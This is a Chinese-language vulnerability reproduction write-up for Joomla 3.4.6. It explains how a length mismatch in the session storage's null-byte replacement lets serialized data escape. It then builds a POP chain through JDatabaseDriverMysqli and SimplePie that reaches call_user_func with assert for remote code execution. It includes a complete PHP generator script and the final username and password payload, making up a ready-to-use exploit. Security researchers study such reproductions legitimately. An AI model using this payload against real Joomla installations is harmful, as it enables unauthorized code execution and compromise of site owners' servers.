环境搭建

下载地址:https:downloads.joomla.orgitcmsjoomla33-4-6

php版本:5.5.38(复现环境要求php版本低于5.6.40,不支持php7)

漏洞分析

session逃逸

session 在 Joomla 中的处理有一些的问题,它会把没有通过验证的用户名和密码存储在 _session 表中

1.png

存入和从数据库中取出用了位于 librariesjoomlasessionstoragedatabase.phpwrite()read()函数

public function write($id, $data)
    {
         Get the database connection object and verify its connected.
        $db = JFactory::getDbo();

        $data = str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);

        try
        {
            $query = $db->getQuery(true)
                ->update($db->quoteName('#__session'))
                ->set($db->quoteName('data') . ' = ' . $db->quote($data))
                ->set($db->quoteName('time') . ' = ' . $db->quote((int) time()))
                ->where($db->quoteName('session_id') . ' = ' . $db->quote($id));

             Try to update the session data in the database table.
            $db->setQuery($query);

            if (!$db->execute())
            {
                return false;
            }
            * Since $db->execute did not throw an exception, so the query was successful.
            Either the data changed, or the data was identical.
            In either case we are done.
            *
            return true;
        }
        catch (Exception $e)
        {
            return false;
        }
    }
public function read($id)
    {
         Get the database connection object and verify its connected.
        $db = JFactory::getDbo();

        try
        {
             Get the session data from the database table.
            $query = $db->getQuery(true)
                ->select($db->quoteName('data'))
            ->from($db->quoteName('#__session'))
            ->where($db->quoteName('session_id') . ' = ' . $db->quote($id));

            $db->setQuery($query);

            $result = (string) $db->loadResult();

            $result = str_replace('\0\0\0', chr(0) . '*' . chr(0), $result);

            return $result;
        }
        catch (Exception $e)
        {
            return false;
        }
    }

可以看到,它在写入的过程中将 %00*%00 替换为 \0\0\0 ,因为 MySQL 中不能存储 NULL ,而 protected 变量序列化后带有 %00*%00

在读取过程中会重新把 \0\0\0 替换为 %00*%00 以便反序列化,但是这个替换将 6 字节的内容替换为 3 字节,那么就可能形成反序列化字符逃逸

在这里我们想要的是将password进行逃逸,实现任意对象注入

  • 在数据库中
s:8:s:"username";s:54:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";s:4:"1234"
  • 在读取置换之后
s:8:s:"username";s:54:"NNNNNNNNNNNNNNNNNNNNNNNNNNN";s:8:"password";s:6:"1234"
  • 实现任意对象注入
s:8:s:"username";s:54:"NNNNNNNNNNNNNNNNNNNNNNNNNNN";s:8:"password";s:4:"1234";s:3:"age";O:6:"Object"

接下来就是POP链的构造

POP链构造

POP链的入口位于JDatabaseDriverMysqli

public function __destruct()
    {
        $this->disconnect();
    }

跟进disconnect()方法

public function disconnect()
    {
         Close the connection.
        if ($this->connection)
        {
            foreach ($this->disconnectHandlers as $h)
            {
                call_user_func_array($h, array( &$this));
            }

            mysqli_close($this->connection);
        }

        $this->connection = null;
    }

这里的call_user_func_array($h, array( &$this));第一个参数可控,第二个不可控,所以我们可以用call_user_func_array([$obj,"任意方法"],array( &$this))来调用,我们的目标就是SimplePie类的init方法,跟进一下

if ($this->feed_url !== null || $this->raw_data !== null)
        {
            $this->data = array();
            $this->multifeed_objects = array();
            $cache = false;

            if ($this->feed_url !== null)
            {
                $parsed_feed_url = SimplePie_Misc::parse_url($this->feed_url);
                 Decide whether to enable caching
                if ($this->cache && $parsed_feed_url['scheme'] !== '')
                {
                    $cache = call_user_func(array($this->cache_class, 'create'), $this->cache_location, call_user_func($this->cache_name_function, $this->feed_url), 'spc');

第二个call_user_func()函数里面两个参数都是可控的,就导致了RCE

这里需要满足几个条件:

1.feed_url需要满足parse_url的解析(使用phpinfo();JFactory::getConfig();exit;即可绕过)

2.raw_data、cache为True

这里无法直接加载SimplePie类,需要通过加载JSimplepieFactory类来间接加载,因为里面有一段jimport('simplepie.simplepie');

现在就可以写出POC了

<?php
class JSimplepieFactory{

}

class JDatabaseDriverMysql{

}

class JDatabaseDriverMysqli
{
    protected $abc;
    protected $connection;
    protected $disconnectHandlers;
    function __construct()
    {
        $this->abc = new JSimplepieFactory();
        $this->connection = 1;
        $this->disconnectHandlers = [
            [new SimplePie, "init"],
        ];
    }
}

class SimplePie
{
    var $sanitize;
    var $cache_name_function;
    var $feed_url;
    function __construct()
    {
        $this->feed_url = "phpinfo();JFactory::getConfig();exit;";
        $this->cache_name_function = "assert";
        $this->sanitize = new JDatabaseDriverMysql();
    }
}

$obj = new JDatabaseDriverMysqli();
$ser = serialize($obj);
echo str_replace(chr(0) . '*' . chr(0), '\0\0\0', $ser);
?>

最终的账号与密码

\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0

AAA";s:4:"test":O:21:"JDatabaseDriverMysqli":3:{s:6:"\0\0\0abc";O:17:"JSimplepieFactory":0:{}s:13:"\0\0\0connection";i:1;s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":3:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:19:"cache_name_function";s:6:"assert";s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}}

2.png